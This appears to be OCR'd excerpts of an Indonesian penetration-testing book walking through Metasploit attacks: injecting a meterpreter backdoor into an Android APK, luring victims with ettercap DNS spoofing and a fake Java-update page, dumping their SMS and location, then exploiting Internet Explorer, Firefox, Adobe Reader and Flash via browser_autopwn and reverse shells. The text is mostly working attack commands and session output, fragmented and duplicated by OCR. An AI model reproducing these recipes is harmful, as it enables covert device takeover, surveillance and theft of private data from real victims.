[*] Adding android.permission.ACCESS_WIFI_STATE
[*] Adding android.permission.CHANGE_WIFI_STATE
[*] Adding android.permission.ACCESS_COURSE_LOCATION
[*] Adding android.permission.ACCESS_FINE_LOCATION
[*] Adding android.permission.READ_PHONE_STATE
[*] Adding android.permission.SEND_SMS
[*] Adding android.permission.RECEIVE_SMS
[*] Adding android.permission.RECORD_AUDIO
[*] Adding android.permission.CALL_PHONE
[*] Adding android.permission.READ_CONTACTS
[*] Adding android.permission.WRITE_CONTACTS
[*] Adding android.permission.RECORD_AUDIO
[*] Adding android.permission.WRITE_SETTINGS
[*] Adding android.permission.CAMERA
[*] Adding android.permission.READ_SMS
[*] Adding android.permission.RECEIVE_BOOT_COMPLETED
[*] Rebuilding showjava.apk with meterpreter injection as showjava_backdoored.ap
k..

[*] Signing showjava_backdoored.apk ..
[+] Infected file showjava_backdoored.apk ready.
```

```
Signing showjava_backdoored.apk ..
Infected file showjava_backdoored.apk ready.
t@kalidata:/home/kurniawan#
t@kalidata:/home/kurniawan# ls -l showjava_backdoored.apk
-r--r-- 1 root root 4692698 Apr  7 12:12 showjava_backdoored.apk
t@kalidata:/home/kurniawan#
```

Ask me anything

```
CAMERA
READ_SMS
RECEIVE_BOOT_COMPLETED
th meterpreter injection as showjava_backdoored.ap

ed.apk ..
ckdoored.apk ready.
#
# ls -l showjava_backdoored.apk
98 Apr  7 12:12 showjava_backdoored.apk
n# java -jar signapk.jar testkey.x509.pem testkey.pk8 showjava_backdoored.apk showjava10.apk
n#
```

```
a_backdoored.apk ..
showjava_backdoored.apk ready.
e/kurniawan#
e/kurniawan# ls -l showjava_backdoored.apk
root 4692698 Apr  7 12:12 showjava_backdoored.apk
me/kurniawan# java -jar signapk.jar testkey.x509.pem testkey.pk8 s
me/kurniawan# cp showjava10.apk /var/www/html
me/kurniawan# cd /var/www/html
r/www/html# ls showjava.apk

ar/www/html# rm showjava.apk
ar/www/html# mv showjava10.apk showjava.apk
ar/www/html#
```

```
File  Edit  View  Search  Terminal  Help
                    Press SPACE BAR to continue


Save 45% of your time on large engagements with Metasploit Pro
Learn more on http://rapid7.com/metasploit

       =[ metasploit v4.11.5-2016010401                         ]
+ -- --=[ 1517 exploits - 875 auxiliary - 257 post               ]
+ -- --=[ 437 payloads - 37 encoders - 8 nops                    ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > use exploit/multi/handler
msf exploit(handler) > set payload android/meterpreter/reverse_tcp
payload => android/meterpreter/reverse_tcp
msf exploit(handler) > set lport 1000
lport => 1000
msf exploit(handler) > set lhost 192.168.0.29
lhost => 192.168.0.29
msf exploit(handler) > exploit

[*] Started reverse TCP handler on 192.168.0.29:1000
[*] Starting the payload handler...
```

```
=[ metasploit v4.11.5-2016010401                   ]
+ -- --=[ 1517 exploits - 875 auxiliary - 257 post      ]
+ -- --=[ 437 payloads - 37 encoders - 8 nops           ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > use exploit/multi/handler
msf exploit(handler) > set payload android/meterpreter/reverse_tcp
payload => android/meterpreter/reverse_tcp
msf exploit(handler) > set lport 1000
lport => 1000
msf exploit(handler) > set lhost 192.168.0.29
lhost => 192.168.0.29
msf exploit(handler) > exploit

[*] Started reverse TCP handler on 192.168.0.29:1000
```

```
File  Edit  View  Search  Terminal  Help
root@kalidata:/home#
root@kalidata:/home#
root@kalidata:/home# locate etter.dns
/etc/ettercap/etter.dns
root@kalidata:/home# nano /etc/ettercap/etter.dns
```

```
microsoft.com        A    107.170.40.56
*.microsoft.com      A    107.170.40.56
www.microsoft.com    PTR  107.170.40.56
*.com A 192.168.0.29
##########################################
# no one out there can have our domains...
```

Lihat materi DNS Spoofing untuk langkah-langkahnya

arp_cop 1.1 Report suspicious ARP activity
autoadd 1.2 Automatically add new victims in the t
chk_poison 1.1 Check if the poisoning had success
* dns_spoof 1.2 Sends spoofed dns replies
dos_attack 1.0 Run a d.o.s. attack against an IP addres
dummy 3.0 A plugin template (for developers)

Start Targets Hosts View Mitm Filters Logging
Start sniffing Shift+Ctrl+W
Stop sniffing Shift+Ctrl+E
Exit Ctrl+Q
port suspicious ARP a

find_conn 1.0 Search connections on a
find_ettercap 2.0 Try to find ettercap activi
GROUP 1 : 192.168.0.1 A0:F3:C1:11:1F:84
GROUP 2 : 192.168.0.101 6C:5F:1C:93:89:69
Acfivating dns_spoof plugin...
Unified sniffing already started...

detik.com
Activate Java.
ERROR: Plugin missing
The Java plug-in was blocked because it is out of date.
Click the link below to fix this problem.
Free Java download for android.

facebook.com
Activate Java.
plugin missing

Unduhan - Disortir menurut ta
Hari Ini
showjava-1.apk
detik.com
Selesai 4,49MB

18:40
Show Java
Apakah Anda ingin memasang aplikasi ini? Aplikasi akan memiliki akses ke:
PRIVASI
baca identitas dan status ponsel
panggil nomor telepon secara langsung
ini mungkin tidak gratis
kirim pesan SMS
ini mungkin tidak gratis
membaca pesan teks (SMS atau MMS) Anda
terima pesan teks (SMS)
ambil gambar dan video
Batal
Berikutnya

Show Java
Memasang...

Show Java
Apl terpasang.

=[metasploit v4.11.5-201601
+ -- --=[1517 exploits - 875 auxil
+ -- --=[437 payloads - 37 encoders
+ -- --=[Free Metasploit Pro trial:
msf > use exploit/multi/handler
msf exploit(handler) > set payload a
payload => android/meterpreter/revers
msf exploit(handler) > set lport 1000
lport => 1000
msf exploit(handler) > set lhost 192.
lhost => 192.168.0.29
msf exploit(handler) > exploit
[*] Started reverse TCP handler on 192

Buka

msf exploit(handler) > set payload
payload => android/meterpreter/reverse_
msf exploit(handler) > set lport 1000
lport => 1000
msf exploit(handler) > set lhost 192.168.
lhost => 192.168.0.29
msf exploit(handler) > exploit
[*] Started reverse TCP handler on 192.168.
[*] Starting the payload handler...
[*] Sending stage (60790 bytes) to 192.168.
[*] Meterpreter session 1 opened (192.168.0.
017-04-07 14:42:18 -0400
meterpreter >

webcam_chat Start a video chat
webcam_list List webcams
webcam_snap Take a snapshot from the specified webcam
webcam_stream Play a video stream from the specified webcam
Android Commands
Command Description
check_root Check if device is rooted
dump_calllog Get call log
dump_contacts Get contacts list
dump_sms Get sms messages
geolocate Get current lat-long using geolocation
interval_collect Manage interval collection capabilities
send_sms Sends SMS from target session
wlan_geolocate Get current lat-long using WLAN information

```
wlan_geolocate    Get current lat-long using WLAN info

meterpreter > dump_sms
[*] Fetching 119 sms messages
[*] SMS messages saved to: sms_dump_20170407144621.txt
meterpreter >
```

```
eterpreter > dump_sms
*] Fetching 119 sms messages
*] SMS messages saved to: sms_dump_20170407144621.txt
eterpreter > geolocate
*] Current Location:
        Latitude:  -7.8251275
        Longitude: 110.3586489

To get the address: https://maps.googleapis.com/maps/api/geocode/json?latlr

meterpreter >
```

```
the address: https://ma

reter > webcam_stream
```

Bab 19

Client side attack

Client side attacks require user-interaction such as enticing them to click a link, open a document, or somehow get to your malicious website.

Sumber : offensive-security.com

19.1 Client side attack pada Internet Explorer 6 (Windows XP)

Ketik search aurora di metasploit framework (msfconsole)

Cari exploit/windows/browser/ms10_002_aurora

Jika sudah ditemukan ketik use exploit/windows/browser/ms10_002_aurora lalu enter

Berikutnya set payload, seperti pda gambar.

```
msf  exploit(ms10_002_aurora) > set payload windows/shell/reverse_tcp
payload => windows/shell/reverse_tcp
msf  exploit(ms10_002_aurora) > set srvport 80
srvport => 80
msf  exploit(ms10_002_aurora) > set uripath /
uripath => /
msf  exploit(ms10_002_aurora) > set lhost 192.168.1.102
lhost => 192.168.1.102
msf  exploit(ms10_002_aurora) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.102:4444
[*] Using URL: http://0.0.0.0:80/
msf  exploit(ms10_002_aurora) > [*]  Local IP: http://192.168.1.102:80/
[*] Server started.
[*] 192.168.1.127    ms10_002_aurora - Sending Internet Explorer "Aurora" Memory
 Corruption
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 192.168.1.127
[*] Command shell session 1 opened (192.168.1.102:4444 -> 192.168.1.127:1075) at
 2013-04-11 12:55:38 +0000
sessions -i 1
[*] Starting interaction with 1...

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
```

19.2 Client side attack pada Internet Explorer 8 pada Windows 7

```
root@kalidata: /home/kurniawan
File  Edit  View  Search  Terminal  Help
msf > search ms11
[!] Database not connected or cache not built, using slow search

Matching Modules
================

   Name                                                     Disclosure Date  Rank
Rank     Description
   ----                                                     ---------------  ----
----     -----------
   auxiliary/dos/windows/ftp/iis75_ftpd_iac_bof             2010-12-21       normal
Normal   Microsoft IIS FTP Server Encoded Response Overflow Trigger
   auxiliary/dos/windows/llmnr/ms11_030_dnsapi              2011-04-12       normal
Normal   Microsoft Windows DNSAPI.dll LLMNR Buffer Underrun DoS
   auxiliary/dos/windows/smb/ms11_019_electbowser                            normal
Normal   Microsoft Windows Browser Pool DoS
   exploit/windows/browser/ms11_003_ie_css_import           2010-11-29       good
Good     MS11-003 Microsoft Internet Explorer CSS Recursive Import Use After Free
   exploit/windows/browser/ms11_050_mshtml_cobjectelement   2011-06-16       normal
Normal   MS11-050 IE mshtml!CObjectElement Use After Free
   exploit/windows/browser/ms11_081_option                  2012-10-11       normal
Normal   MS11-081 Microsoft Internet Explorer Option Element Use-After-Free
   exploit/windows/browser/ms11_093_ole32                   2011-12-13       normal
```

Di sini digunakan exploit/windows/browser/ms11_003_ie_css_import

```
msf >
msf >
msf >
msf > use exploit/windows/browser/ms11_003_ie_css_import
msf exploit(ms11_003_ie_css_import) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic
   1   Internet Explorer 8
   2   Internet Explorer 7
   3   Internet Explorer 6
   4   Debug Target (Crash)


msf exploit(ms11_003_ie_css_import) > show payloads

Compatible Payloads
===================

   Name                                      Disclosure Date  Rank   Descr
   ----                                      ---------------  ----   -----
   generic/custom                                             normal  Custo
   generic/debug_trap                                         normal  Gener
   generic/shell_bind_tcp                                     normal  Gener
Inline
   generic/shell_reverse_tcp                                  normal  Gener
Inline
   generic/tight_loop                                         normal  Gener
   windows/dllinject/bind_ipv6_tcp                            normal  Refle
Stager (IPv6)
```

Gunakan exploit exploit/windows/browser/ms11_003_ie_css_import, berikutnya gunakan payload generic/shell_reverse_tcp

```
msf exploit(ms11_003_ie_css_import) > set payload generic/shell_reverse_tcp
payload => generic/shell_reverse_tcp
msf exploit(ms11_003_ie_css_import) > set uripath /
uripath => /
msf exploit(ms11_003_ie_css_import) > set srvport 80
srvport => 80
msf exploit(ms11_003_ie_css_import) > set lhost 192.168.1.51
lhost => 192.168.1.51
msf exploit(ms11_003_ie_css_import) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.51:4444
[*] Using URL: http://0.0.0.0:80/
[*]  Local IP: http://127.0.0.1:80/
[*] Server started.
msf exploit(ms11_003_ie_css_import) >
```

Set uripath

Set srvport 80

Berikutnya set ip komputer penyerang. Set lhost 192.168.1.51.

Setelah selesai, ketik exploit lalu enter.

```
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.51:4444
[*] Using URL: http://0.0.0.0:80/
[*]  Local IP: http://127.0.0.1:80/
[*] Server started.
msf exploit(ms11_003_ie_css_import) > [*] 192.168.1.58     ms11_
[*] 192.168.1.58     ms11_003_ie_css_import - Sending redirect
[*] 192.168.1.58     ms11_003_ie_css_import - Received request f
[*] 192.168.1.58     ms11_003_ie_css_import - Sending HTML
[*] 192.168.1.58     ms11_003_ie_css_import - Received request f
[*] 192.168.1.58     ms11_003_ie_css_import - Sending .NET DLL
[*] 192.168.1.58     ms11_003_ie_css_import - Received request f
1\x9A\xEE\x80\xA0\xE1\x81\x9A\xEE\x80\xA0\xE1\x81\x9A"
[*] 192.168.1.58     ms11_003_ie_css_import - Sending CSS

msf exploit(ms11_003_ie_css_import) > exploit
[*] Exploit running as background job.

[-] Handler failed to bind to 192.168.1.51:4444
[-] Handler failed to bind to 0.0.0.0:4444
[-] Exploit failed: Rex::AddressInUse The address is already in
msf exploit(ms11_003_ie_css_import) > [*] Command shell session
7) at 2015-08-28 13:06:46 -0400
[*] Session ID 1 (192.168.1.51:4444 -> 192.168.1.58:49217) proce
[-] Error: Command shell sessions do not support migration
sessions -i 1
[*] Starting interaction with 1...


Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\windows7\Desktop>
```

Hasilnya saat target membuka alamat 192.168.1.51 menggunakan internet explorer yang punya celah dari Windows 7 maka komputer tersebut menjadi teremote seperti di atas.

```
ternet Explorer Tabular Data Control ActiveX Memory Corruption
   exploit/windows/browser/ms10_022_ie_vbscript_winhlp32        2010-02-26
ternet Explorer Winhlp32.exe MsgBox Code Execution
   exploit/windows/browser/ms10_026_avi_nsamplespersec          2010-04-13
EG Layer-3 Audio Stack Based Overflow
   exploit/windows/browser/ms10_042_helpctr_xss_cmd_exec        2010-06-09
 XSS and Command Execution
   exploit/windows/browser/ms10_046_shortcut_icon_dllloader     2010-07-16
ll LNK Code Execution
   exploit/windows/browser/ms10_090_ie_css_clip                 2010-11-03
ternet Explorer CSS SetUserClip Memory Corruption
   exploit/windows/email/ms10_045_outlook_ref_only              2010-06-01
```

Selain celahnya dari browser, juga ada celah dari celah shortcut_icon_dlloader.

```
msf exploit(ms11_003_ie_css_import) > set lport 1000
lport => 1000
msf exploit(ms11_003_ie_css_import) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.51:1000
[*] Using URL: http://0.0.0.0:80/
msf exploit(ms11_003_ie_css_import) > [*]  Local IP: http://127.0.0.1:80/
[-] Exploit failed: Rex::RuntimeError The supplied resource '/' is already added.
[*] Server stopped.
[*] 192.168.1.58     ms11_003_ie_css_import - Received request for "/generic-1440781515.dll"
[*] 192.168.1.58     ms11_003_ie_css_import - Sending .NET DLL
[*] 192.168.1.58     ms11_003_ie_css_import - Received request for "/favicon.ico"
[*] 192.168.1.58     ms11_003_ie_css_import - Sending CSS
[*] Command shell session 2 opened (192.168.1.51:4444 -> 192.168.1.58:49220) at 2015-08-28 13:08:27 -0400
[*] Session ID 2 (192.168.1.51:4444 -> 192.168.1.58:49220) processing InitialAutoRunScript 'migrate -f'
sessio[-] Error: Command shell sessions do not support migration
sessions -i 2
[*] Starting interaction with 2...

Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\windows7\Desktop>
```

Hasil eksploitasi shortcut_icon_dllloader

19.3 Client side attack pada browser Firefox

Search firefox

Pilih exploit/windows/browser/mozilla_mchannel

```
msf > use exploit/windows/browser/mozilla_mchannel
msf exploit(mozilla_mchannel) > set payload windows/shell/reverse_tcp
payload => windows/shell/reverse_tcp
msf exploit(mozilla_mchannel) > show options

Module options (exploit/windows/browser/mozilla_mchannel):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host to listen on. Thi
```

Ikuti perintah seperti di atas

```
File  Edit  View  Search  Terminal  Help
Module options (exploit/windows/browser/mozilla_mchannel):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host to listen on. This
 an address on the local machine or 0.0.0.0
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connec
   SSLCert                   no        Path to a custom SSL certificate
 is randomly generated)
   URIPATH                   no        The URI to use for this exploit (
is random)


Payload options (windows/shell/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', se
d, process, none)
   LHOST                      yes       The listen address
   LPORT     4444             yes       The listen port
```

Set SRVPORT, URIPATH dan LHOST

```
   --   ----
   0    Automatic


msf exploit(mozilla_mchannel) >
msf exploit(mozilla_mchannel) > set lhost 192.168.1.28
lhost => 192.168.1.28
msf exploit(mozilla_mchannel) > set srvport 80
srvport => 80
msf exploit(mozilla_mchannel) > set uripath /
uripath => /
msf exploit(mozilla_mchannel) > exploit
[*] Exploit running as background job.

[*] Started reverse TCP handler on 192.168.1.28:4444
[*] Using URL: http://0.0.0.0:80/
[*] Local IP: http://192.168.1.28:80/
[*] Server started.
msf exploit(mozilla_mchannel) >
```

Server Started

Browser komputer mengakses ip attacker

```
[*] Local IP: http://192.168.1.28:80/
[*] Server started.
msf exploit(mozilla_mchannel) > [*] 192.168.1.39     mozilla_mchannel - Sending HTML...
[*] 192.168.1.39     mozilla_mchannel - Sending HTML...
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 192.168.1.39
[*] Command shell session 1 opened (192.168.1.28:4444 -> 192.168.1.39:1058) at 2016-10-07 23
[*] Session ID 1 (192.168.1.28:4444 -> 192.168.1.39:1058) processing InitialAutoRunScript 'm
[-] Error: Command shell sessions do not support migration
sessions -i 1
[*] Starting interaction with 1...

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Program Files\Mozilla Firefox>ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter internet:

        Connection-specific DNS Suffix  . :
        IP Address. . . . . . . . . . . . : 192.168.1.39
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 192.168.1.1

C:\Program Files\Mozilla Firefox>
```

Attacker mendapatkan akses pada komputer korban

Bab 20

Browser Autopwn

Serangan menggunakan browser autopwn membuat anda tidak perlu menebak-nebak browser apa yang digunakan target, atau celah apa yang digunakan target karena browser autopwn akan menjalankan banyak exploit sehingga kemungkinan target tereksploitasi lebih besar

Di sini sebagai contoh dilakukan pada browser Internet explorer dan Windows dan keadaan firewall menyala dan option Don't allow exceptions dalam keadaan tercentang.

Dengan posisi firewall menyala dan option Don't allow exceptions dalam keadaan tercentang maka membuat komputer yang dijadikan target tidak dapat dilakukan ping.

```
C:\>nmap 192.168.1.39

Starting Nmap 6.47 ( http://nmap.org ) at 2015-08-29 07:31 Paci

Nmap scan report for 192.168.1.39
Host is up (0.00s latency).
All 1000 scanned ports on 192.168.1.39 are filtered
MAC Address: 08:00:27:07:7A:E4 (Cadmus Computer Systems)

Nmap done: 1 IP address (1 host up) scanned in 38.81 seconds

C:\>ping 192.168.1.39

Pinging 192.168.1.39 with 32 bytes of data:

Request timed out.
Request timed out.
Request timed out.
Request timed out.

Ping statistics for 192.168.1.39:
    Packets: Sent = 4, Received = 0, Lost = 4 (100% loss),

C:\>
```

Berikut cara menggunakan browser autopwn di metasploit framework.

Perintah untuk menggunakan browser autopwn adalah use auxiliary/sever/browser_autopwn

Setelah di set maka set lhost, srvport dan uripath, jika sudah selesai tinggal dijalankan saja

```
msf > use auxiliary/server/browser_autopwn
msf auxiliary(browser_autopwn) > set payload windows/shell/revers
payload => windows/shell/reverse_tcp
msf auxiliary(browser_autopwn) > set lhost 192.168.1.123
lhost => 192.168.1.123
msf auxiliary(browser_autopwn) > set srvport 80
srvport => 80
msf auxiliary(browser_autopwn) > set uripath /
uripath => /
msf auxiliary(browser_autopwn) > exploit
[*] Auxiliary module execution completed
msf auxiliary(browser_autopwn) >
[*] Setup
[*] Obfuscating initial javascript 2015-08-29 07:50:03 -0700
[*] Done in 1.203125 seconds

[*] Starting exploit modules on host 192.168.1.123...
[*] ---

[*] Starting exploit multi/browser/firefox_escape_retval with pay
ell_reverse_tcp
[*] Using URL: http://0.0.0.0:80/zcluSVodjLa
[*]  Local IP: http://192.168.1.123:80/zcluSVodjLa
[*] Server started.
[*] Starting exploit multi/browser/itms_overflow with payload gen
eric/shell_reverse_tcp
[*] Using URL: http://0.0.0.0:80/WRqgC
[*]  Local IP: http://192.168.1.123:80/WRqgC
[*] Server started.
```

```
[*] Using URL: http://0.0.0.0:80/FrtQc
[*]  Local IP: http://192.168.1.123:80/FrtQc
[*] Server started.
[*] Starting exploit windows/browser/tom_sawyer_tsgetx71ex552 with payload w
indows/meterpreter/reverse_tcp
[*] Using URL: http://0.0.0.0:80/QEAD
[*]  Local IP: http://192.168.1.123:80/QEAD
[*] Server started.
[*] Starting exploit windows/browser/winzip_fileview with payload windows/me
terpreter/reverse_tcp
[*] Using URL: http://0.0.0.0:80/epjHa
[*]  Local IP: http://192.168.1.123:80/epjHa
[*] Server started.
[*] Starting exploit windows/browser/wmi_admintools with payload windows/met
erpreter/reverse_tcp
[*] Using URL: http://0.0.0.0:80/ccasFgl0o
[*]  Local IP: http://192.168.1.123:80/ccasFgl0o
[*] Server started.
[*] Starting handler for windows/meterpreter/reverse_tcp on port 3333
[*] Starting handler for generic/shell_reverse_tcp on port 6666
[*] Started reverse handler on 192.168.1.123:3333
[*] Starting the payload handler...
[*] Starting handler for java/meterpreter/reverse_tcp on port 7777
[*] Started reverse handler on 192.168.1.123:6666
[*] Starting the payload handler...
[*] Started reverse handler on 192.168.1.123:7777
[*] Starting the payload handler...

[*] --- Done, found 57 exploit modules

[*] Using URL: http://0.0.0.0:80/
[*]  Local IP: http://192.168.1.123:80/
[*] Server started.
```

Setelah selesai menjalankan semua exploit maka target akan dicoba untuk membuka alamat 192.168.1.123 melalui browser.

```
 Behaviors Use After Free (target: IE 6 SP0-SP2 (onclick))...
[-] 192.168.1.39     firefox_escape_retval - Exception handlin
existing connection was forcibly closed by the remote host.
[*] 192.168.1.39     java_jre17_glassfish_averagerangestatisti
ng request for /qjdvxRVPBVUAH
[*] 192.168.1.39     java_jre17_jmxbean - handling request for
[*] 192.168.1.39     java_jre17_jmxbean_2 - handling request f
[*] 192.168.1.39     java_jre17_method_handle - handling reque

[*] 192.168.1.39     java_jre17_reflection_types - handling re
IqSdhEPOM
[*] 192.168.1.39     ie_createobject - Sending exploit HTML...
[*] 192.168.1.39     ms10_018_ie_behaviors - Sending Internet
 Behaviors Use After Free (target: IE 6 SP0-SP2 (onclick))...
[*] 192.168.1.39     apple_quicktime_marshaled_punk - Sending
.
[*] 192.168.1.39     java_atomicreferencearray - Sending Java
eArray Type Violation Vulnerability
[*] 192.168.1.39     java_atomicreferencearray - Generated jar
 bytes).
[*] Sending stage (751104 bytes) to 192.168.1.39
[*] Meterpreter session 1 opened (192.168.1.123:3333 -> 192.16
t 2015-08-29 08:06:07 -0700
sessions -i 1
[*] Starting interaction with 1...

meterpreter >
[*] Session ID 1 (192.168.1.123:3333 -> 192.168.1.39:1093) pro
lAutoRunScript 'migrate -f'
[*] Current server process: IEXPLORE.EXE (3148)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 1788
[+] Successfully migrated to process

meterpreter >
```

Hasilnya target berhasil di remote

Bab 21

Serangan pada Adobe Acrobat

Adobe Acrobat is a family of application software and Web services developed by Adobe Systems to view, create, manipulate, print and manage files in Portable Document Format (PDF).

Sumber : en.wikipedia.org - https://en.wikipedia.org/wiki/Adobe_Acrobat

12.2 Adobe Acrobat Exploitation

```
Terminal
File  Edit  View  Search  Terminal  Help

msf >
msf > search adobe
[!] Database not connected or cache not built, using slow search

Matching Modules
================

   Name                                                     Disclosure Date  Ra
nk       Description
   ----                                                     ---------------  --
--       -----------
   auxiliary/scanner/http/adobe_xml_inject                                   no
rmal     Adobe XML External Entity Injection
   auxiliary/scanner/http/coldfusion_locale_traversal                        no
rmal     ColdFusion Server Check
   exploit/linux/browser/adobe_flashplayer_aslaunch         2008-12-17       go
od       Adobe Flash Player ActionScript Launch Command Execution Vulnerability
   exploit/multi/fileformat/adobe_u3d_meshcont              2009-10-13       go
od       Adobe U3D CLODProgressiveMeshDeclaration Array Overrun
   exploit/multi/misc/indesign_server_soap                  2012-11-11       ex
cellent  Adobe IndesignServer 5.5 SOAP Server Arbitrary Script Execution
   exploit/windows/browser/adobe_cooltype_sing              2010-09-07       gr
eat      Adobe CoolType SING Table "uniqueName" Stack Buffer Overflow
```

Untuk mencoba mencari celah adobe, search adobe

```
Terminal
File  Edit  View  Search  Terminal  Help
   exploit/windows/browser/adobe_flash_sps                    2011-08-09       no
rmal      Adobe Flash Player MP4 SequenceParameterSetNALUnit Buffer Overflow
   exploit/windows/browser/adobe_flashplayer_arrayindexing   2012-06-21       gr
eat       Adobe Flash Player AVM Verification Logic Array Indexing Code Execution
   exploit/windows/browser/adobe_flashplayer_avm              2011-03-15       go
od        Adobe Flash Player AVM Bytecode Verification Vulnerability
   exploit/windows/browser/adobe_flashplayer_flash10o         2011-04-11       no
rmal      Adobe Flash Player 10.2.153.1 SWF Memory Corruption Vulnerability
   exploit/windows/browser/adobe_flashplayer_newfunction      2010-06-04       no
rmal      Adobe Flash Player "newfunction" Invalid Pointer Use
   exploit/windows/browser/adobe_flatedecode_predictor02      2009-10-08       go
od        Adobe FlateDecode Stream Predictor 02 Integer Overflow
   exploit/windows/browser/adobe_geticon                      2009-03-24       go
od        Adobe Collab.getIcon() Buffer Overflow
   exploit/windows/browser/adobe_jbig2decode                  2009-02-19       go
od        Adobe JBIG2Decode Heap Corruption
   exploit/windows/browser/adobe_media_newplayer              2009-12-14       go
od        Adobe Doc.media.newPlayer Use After Free Vulnerability
   exploit/windows/browser/adobe_shockwave_rcsl_corruption    2010-10-21       no
rmal      Adobe Shockwave rcsL Memory Corruption
   exploit/windows/browser/adobe_utilprintf                   2008-02-08       go
od        Adobe util.printf() Buffer Overflow
   exploit/windows/fileformat/adobe_collectemailinfo          2008-02-08       go
od        Adobe Collab.collectEmailInfo() Buffer Overflow
```

Digunakan exploit/windows/browser/adobe_jbig2decode

```
Terminal
File  Edit  View  Search  Terminal  Help
   exploit/windows/fileformat/adobe_u3d_meshdecl              2009-10-13       go
od        Adobe U3D CLODProgressiveMeshDeclaration Array Overrun
   exploit/windows/fileformat/adobe_utilprintf                2008-02-08       go
od        Adobe util.printf() Buffer Overflow
   exploit/windows/http/adobe_robohelper_authbypass           2009-09-23       ex
cellent   Adobe RoboHelp Server 8 Arbitrary File Upload and Execute
   exploit/windows/http/coldfusion_fckeditor                  2009-07-03       ex
cellent   ColdFusion 8.0.1 Arbitrary File Upload and Execute


msf > use exploit/windows/browser/adobe_jbig2decode
msf  exploit(adobe_jbig2decode) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Adobe Reader v9.0.0 (Windows XP SP3 English)
   1   Adobe Reader v8.1.2 (Windows XP SP2 English)


msf  exploit(adobe_jbig2decode) > set target 0
target => 0
msf  exploit(adobe_jbig2decode) >
```

use exploit/windows/browser/adobe_jbigdecode

show targets

set target 0

```
Terminal
File  Edit  View  Search  Terminal  Help
msf  exploit(adobe_jbig2decode) > show payloads

Compatible Payloads
===================

   Name                                              Disclosure Date  Rank    Des
cription
   ----                                              ---------------  ----    ---
--------
   generic/custom                                                     normal  Cus
tom Payload
   generic/debug_trap                                                 normal  Gen
eric x86 Debug Trap
   generic/shell_bind_tcp                                             normal  Gen
eric Command Shell, Bind TCP Inline
   generic/shell_reverse_tcp                                          normal  Gen
eric Command Shell, Reverse TCP Inline
   generic/tight_loop                                                 normal  Gen
eric x86 Tight Loop
   windows/dllinject/bind_ipv6_tcp                                    normal  Ref
lective DLL Injection, Bind TCP Stager (IPv6)
   windows/dllinject/bind_nonx_tcp                                    normal  Ref
lective DLL Injection, Bind TCP Stager (No NX or Win7)
```

show payloads

```
Terminal
File  Edit  View  Search  Terminal  Help
srvport => 80
msf  exploit(adobe_jbig2decode) > show options

Module options (exploit/windows/browser/adobe_jbig2decode):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   SRVHOST     0.0.0.0          yes       The local host to listen on. This must
 be an address on the local machine or 0.0.0.0
   SRVPORT     80               yes       The local port to listen on.
   SSL         false            no        Negotiate SSL for incoming connections
   SSLCert                      no        Path to a custom SSL certificate (defa
ult is randomly generated)
   SSLVersion  SSL3             no        Specify the version of SSL that should
 be used (accepted: SSL2, SSL3, TLS1)
   URIPATH     /                no        The URI to use for this exploit (defau
lt is random)


Payload options (windows/shell/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, process, no
```

show options

```
Terminal
File  Edit  View  Search  Terminal  Help

Exploit target:

   Id  Name
   --  ----
   0   Adobe Reader v9.0.0 (Windows XP SP3 English)


msf  exploit(adobe_jbig2decode) > exploit

[-] Exploit failed: The following options failed to validate: LHOST.
msf  exploit(adobe_jbig2decode) > show lhost
[-] Invalid parameter "lhost", use "show -h" for more information
msf  exploit(adobe_jbig2decode) > set lhost 192.168.1.102
lhost => 192.168.1.102
msf  exploit(adobe_jbig2decode) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.102:4444
[*] Using URL: http://0.0.0.0:80/
[*]  Local IP: http://192.168.1.102:80/
[*] Server started.
msf  exploit(adobe_jbig2decode) >
```

Ketik exploit lalu enter. Gabungkan dengan metode MITM dalam serangan.

Bab 22

Serangan pada Adobe Flash

Adobe Flash Player adalah perangkat lunak untuk melihat multimedia , Rich Internet Applications , dan streaming video dan audio, pada komputer web browser atau pada perangkat mobile didukung.

Sumber : https://id.wikipedia.org/wiki/Adobe_Flash_Player

Adobe Flash Player is the standard for delivering high-impact, rich Web content. Designs, animation, and application user interfaces are deployed immediately across all browsers and platforms, attracting and engaging users with a rich Web experience.

Sumber : http://www.adobe.com/software/flash/about/

Search adobe

Pilih exploit/multi/browser/adobe_flash_hacking_team_uaf

```
msf >
msf > use exploit/multi/browser/adobe_flash_hacking_team_uaf
msf exploit(adobe_flash_hacking_team_uaf) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Windows
   1   Linux


msf exploit(adobe_flash_hacking_team_uaf) > set target 0
target => 0
msf exploit(adobe_flash_hacking_team_uaf) > set payload windows/shell/reverse_tcp
payload => windows/shell/reverse_tcp
